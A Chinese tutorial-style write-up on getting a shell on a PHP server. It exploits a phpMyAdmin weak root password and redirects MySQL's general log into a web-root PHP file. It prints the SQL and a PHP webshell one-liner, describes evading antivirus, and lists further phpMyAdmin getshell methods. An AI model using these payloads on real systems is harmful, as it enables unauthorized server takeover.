温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

phpmyadmin+phpinfo()+webshell如何简单绕过getshell

发布时间:2021-10-18 15:47:05 来源:亿速云 阅读:649 作者:柒染 栏目:安全技术

phpmyadmin+phpinfo()+webshell如何简单绕过getshell,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。

信息收集

通过信息收集发现phpinfo页面:

phpmyadmin+phpinfo()+webshell如何简单绕过getshell

phpmyadmin+phpinfo()+webshell如何简单绕过getshell

找到关键信息web路径C:/ps/WWW

phpmyadmin+phpinfo()+webshell如何简单绕过getshell

首先想到的是临时目录批量上传文件然后再利用文件包含漏洞拿shell

先测试有没有临时目录:

编写脚本,上传文件探测是否存在phpinfo包含临时文件的信息。

import requests

 

files = {

  'file': ("aa.txt","ssss")

}

url = "http://x.x.x.x/phpinfo.php"

r = requests.post(url=url, files=files, allow_redirects=False)

print(r.text)

发现存在临时文件

phpmyadmin+phpinfo()+webshell如何简单绕过getshell

继续利用条件竞争上传失败。

然后测试有没有文件包含,并没有。

然后继续信息收集发现phpmyadmin  并且发现root用户弱口令漏洞

phpmyadmin+phpinfo()+webshell如何简单绕过getshell

经测试发现mysql中的Into outfile被禁用:

The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

下一步查询general_log处于开启状态,状态为开启的时候,系统将mysql以后执行的每一条查询语句写入你指定的位置的文件里。而文件的位置则由general_log_file确定。我们可以开启这个选项后,可以先指定路径为一个php文件,再执行sql语句SELECT '<?php assert($_POST["cmd"]);?>';,这个指令就把木马插入到你指定的php文件中去了。

于是我们可以设置general_log_file为一个php文件,最后用一句话木马进行查询来获取shell

phpmyadmin+phpinfo()+webshell如何简单绕过getshell

漏洞利用

由于前面phpinfo页面里已经找到web路径,可构造以下语句:

SET global general_log_file='C:/ps/www/xiaoma.php';

phpmyadmin+phpinfo()+webshell如何简单绕过getshell

写入webshell的时候发现直接构造eval函数访问的时候提示报错大概的意思就是提示文件内容变为0行,判断是被杀了。

于是稍微改动一下,如下图,eval会将输入的$a作为php语句执行,因此只要对l赋一定的system命令值,就能够执行系统命令

phpmyadmin+phpinfo()+webshell如何简单绕过getshell

访问一下这次没有被杀

phpmyadmin+phpinfo()+webshell如何简单绕过getshell

shell到手:

phpmyadmin+phpinfo()+webshell如何简单绕过getshell

phpmyadmin+phpinfo()+webshell如何简单绕过getshellphpmyadmin+phpinfo()+webshell如何简单绕过getshell

思路

phpinfo漏洞利用思路如下:

1、phpinfo中可以看到上传的临时文件的路径,从而实现LFI+getshell

https://www.pianshen.com/article/71091159796/

phpmyadmin漏洞利用思路如下:

1、利用全局变量general_log去getshell

2、利用slow_query_log慢查询日志getshell

3、利用phpmyadmin4.8.x本地文件包含漏洞getshell

https://www.icode9.com/content-3-218228.html

4、select into outfile直接写入

https://www.lurbk.com/lur2774.html

看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注亿速云行业资讯频道,感谢您对亿速云的支持。

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI